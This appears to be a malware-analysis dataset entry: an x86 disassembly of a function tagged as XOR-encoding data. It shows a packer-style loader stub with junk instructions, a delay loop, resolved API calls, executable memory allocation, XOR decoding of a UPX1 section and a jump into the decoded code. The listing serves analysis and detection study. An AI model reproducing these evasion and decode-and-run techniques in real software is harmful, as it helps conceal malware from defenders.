Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x3151601f
or ebx, ecx
or ebx, ebx
and ecx, ecx
popal
add ebx, ebx
and ebx, ebx
mov edx, 0
mov ecx, ebx
add edi, 0xe76c2e2b
and esi, esi
mov eax, ecx
not esi
sub esi, edi
add esi, 0x6c13cb28
mov ebx, eax
mov esi, edi
dec esi
inc edx
not esi
add edi, 0x168ac527
dec esi
cmp edx, 0x1008f73
jne 0xa789c2
and esi, esi
sub esi, 0x4d10e76c
add edi, esi
not ecx
add ebx, ecx
mov eax, 0xa78796
inc ebx
add esi, 1
mov ebx, ecx
mov edx, 0xa7898a
mov esi, 0x1a2e3dd0
add ebx, ecx
sub ebx, ecx
mov edi, dword [eax]
dec esi
add esi, 0xbfaa8f90
add esi, ecx
and edi, 0xff
sub esi, ebx
add ebx, 0x1a4e6e57
xor dword [edx], edi
mov ecx, ebx
or esi, ecx
and esi, esi
inc edx
add ecx, 0xd13d827
add ebx, ecx
inc eax
dec ecx
mov ecx, 0x4b0a4d3c
add esi, 0x653f7ce8
cmp edx, entry0
jl 0xa78a1d
mov ebx, 0x7c437317
and esi, ecx
and ecx, esi
sub ebx, esi
inc esi
sub ebx, 0x4ccfb5be
mov edx, ecx
mov edi, 0x8cfadc99
mov edx, 0x2868f55b
mov ebx, 0xa7898e
dec edi
add edx, edx
mov ebx, dword [ebx]
dec edi
mov edx, esi
mov ebx, dword [ebx]
and esi, edi
mov edx, 0x2acdcfb4
sub esp, 4
mov dword [esp], ebx
mov ecx, 0xa1a17de4
add edx, edx
mov ebx, 0xa7898a
or edx, edx
and edx, ecx
add ecx, 0xe0e7b7a1
mov ebx, dword [ebx]
inc edx
add edx, 0x36b259ba
mov ebx, dword [ebx]
sub esi, edi
not esi
sub esi, edx
sub esp, 4
mov dword [esp], 0xa78992
add ecx, edi
dec esi
call ebx
mov ecx, edx
or edx, ecx
pop ebx
mov edx, ecx
sub esi, 1
push 0xa7899f
sub ecx, edx
not esi
sub esp, 4
mov dword [esp], eax
dec esi
and edi, esi
sub esi, 0x9a025b65
call ebx
add esi, edi
mov esi, edi
push 0x40
mov edi, 0xe67b7e73
mov edi, esi
add esi, 0x6ea8b107
push 0x3000
dec edx
dec edi
sub esp, 4
mov dword [esp], 0x20000c96
sub ecx, edx
not edi
add edx, 0xd4069b04
sub esp, 4
mov dword [esp], 0
add edx, 0xf01a625c
mov esi, 0x24212e7a
call eax
mov ecx, edx
mov edx, 0x159a7705
add ecx, 0xc302b1c6
add eax, 0x20000c2b
mov ecx, 0xb413a31
add edx, edx
mov edx, edi
mov ebx, 0xbf3943de
sub ecx, edi
add edi, 0xd183f843
mov dword [eax], ebx
sub ecx, edi
add edi, 0xc6a402cb
mov ecx, 0x77d79ae4
mov ebx, dword [eax]
sub edi, 0x3247ea7f
add esi, 0x9cce9db5
mov edx, ecx
cmp ebx, 0xbf3943de
je 0xa78b96
mov ecx, 0
mov ebx, dword [ecx]
mov edx, 0x41317cb
sub ecx, 0xfb2150ec
sub edx, 0x66e0debd
sub edi, 0xe263ab4e
or edi, ecx
sub edx, ecx
sub ebx, ecx
and ebx, ebx
mov edx, section.UPX1
and ecx, ecx
mov ebx, 0x59360e01
add ecx, ebx
mov edi, 0xa78795
or ebx, ecx
and ecx, ebx
add ecx, ecx
mov esi, 0
sub ecx, ebx
mov ecx, 0x105f4bab
mov eax, 0xa78796
sub ebx, ecx
add ecx, 0xdea95e5d
mov ebx, ecx
lea eax, [eax + esi]
dec ecx
and ebx, ecx
not ebx
mov eax, dword [eax]
and ecx, ebx
sub ebx, 0x765fb79e
and ebx, ecx
and eax, 0xff
inc ecx
and ecx, ebx
inc ebx
add esi, 1
sub ebx, 0xa441f4a8
sub ebx, ecx
cmp esi, 0x1f4
jne 0xa78c22
mov esi, 0
not ecx
add ecx, 0x2b6edc46
sub ebx, 0x76a4c699
add ecx, 0x97fbeebb
add ebx, ecx
xor dword [edx], eax
add ecx, ebx
inc ebx
and ebx, ecx
add edx, 2
sub ecx, 0xbe7dd6d2
or ecx, ebx
add ebx, 0x6c60df3a
cmp edx, edi
jl 0xa78bda
and ecx, ecx
not ecx
mov ecx, 0x5148bf2f
add ecx, 0xface2d6f
sub ecx, ebx
not ecx
mov ecx, section.UPX1
and esi, edx
not edx
mov ebx, section.UPX1
mov edx, esi
dec esi
mov edi, 0xa78795
add esi, 0xaf97195a
and esi, edx
mov eax, 0
add edx, 1
add edx, 0x7721f6b1
add edx, edx
mov al, byte [ebx]
add esi, edx
mov edx, esi
dec edx
mov byte [ecx], al
add edx, esi
mov edx, esi
inc ecx
and edx, edx
add edx, edx
or edx, esi
add ebx, 2
not edx
not edx
sub edx, 0x5394ff57
cmp ebx, edi
jle 0xa78c9f
not esi
and edx, edx
dec ecx
sub ebx, 1
sub esp, 4
mov dword [esp], 0x8dc6a0
or ecx, ecx
and ebx, ecx
inc ecx
ret